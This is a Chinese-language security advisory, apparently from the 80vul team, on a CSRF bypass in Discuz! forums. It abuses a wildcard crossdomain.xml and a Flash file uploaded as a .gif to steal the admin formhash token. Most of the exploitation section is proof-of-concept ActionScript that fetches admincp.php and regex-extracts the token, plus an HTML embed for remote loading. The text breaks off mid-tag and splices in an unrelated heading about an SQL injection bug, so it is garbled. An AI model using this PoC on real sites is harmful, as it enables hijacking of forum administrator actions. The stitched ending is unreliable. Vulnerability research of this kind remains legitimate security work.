由于
Discuz!对flash跨域策略文件及上传
图片文件处理不严导致可以绕过formhash及Referer的限制,导致csrf攻击.
author: 80vul-A
team:
http://www.80vul.comDiscuz!的
安全人员已经意识到csrf方面的
漏洞了采用了formhash及判断Referer等来防止外部提交,如果看过<Bypass Preventing CSRF>[1]一文的朋友应该意识到我们可以通过flash来进行csrf攻击.
一 分析
首先我们看Discuz!6开始自带了crossdomain.xml文件,代码如下:
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>允许容易域的访问,对于Discuz!的formhash我们可以通过as来处理得到如下代码:
import RegExp;
var xml:XML = new XML();
xml.onData = function(s) {
tb1.text = getFirstMatch(new RegExp("<input type=\"hidden\" name=\"formhash\" value=\"(\\w+)\" />", "ig"), s, 1);
}
System.security.loadPolicyFile("http://192.168.1.102/crossdomain.xml");
xml.load("http://192.168.1.102/d.txt");熟悉as安全的人知道,flash已经修补了http头定义的漏洞,也就是说我们没有办法利用下面的代码:
.addRequestHeader("Referer:
http://foo/index.php?foo","www.80vul.com");
来伪造Referer,但是我们可以通过类似于SODB-2008-01里的利用通过把flash改为gif后缀上传到目标来突破,然后我们通过html远程调用这个gif来突破.
二 利用
POC[测试Discuz!5.5 其他版本的请自己编写]如下:
flash的原文件:
http://www.80vul.com/dzvul/sodb/01/sodb-2008-02.flaas代码如下:
import RegExp;
System.security.loadPolicyFile("http://www.80vul.com/bbs/crossdomain.xml");
var xml:XML = new XML();
xml.onData = function(s) {
tb1.text = getFirstMatch(new RegExp("<input type=\"hidden\" name=\"formhash\" value=\"(\\w+)\" />", "ig"), s, 1);
}
System.security.loadPolicyFile("http://www.80vul.com/bbs/crossdomain.xml");
xml.load("http://www.80vul.com/bbs/admincp.php?action=members");
function getFirstMatch(re, s, i) {
var m = null;
if ((m = re.exec(s)) != null) {
return m
;
}
}远程调用的html:
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" width="550" height="400"><param name="allowScriptAccess" value="sameDomain"><param name="movie" value="Discuz! moderation.inc.php 数据库'注射' bug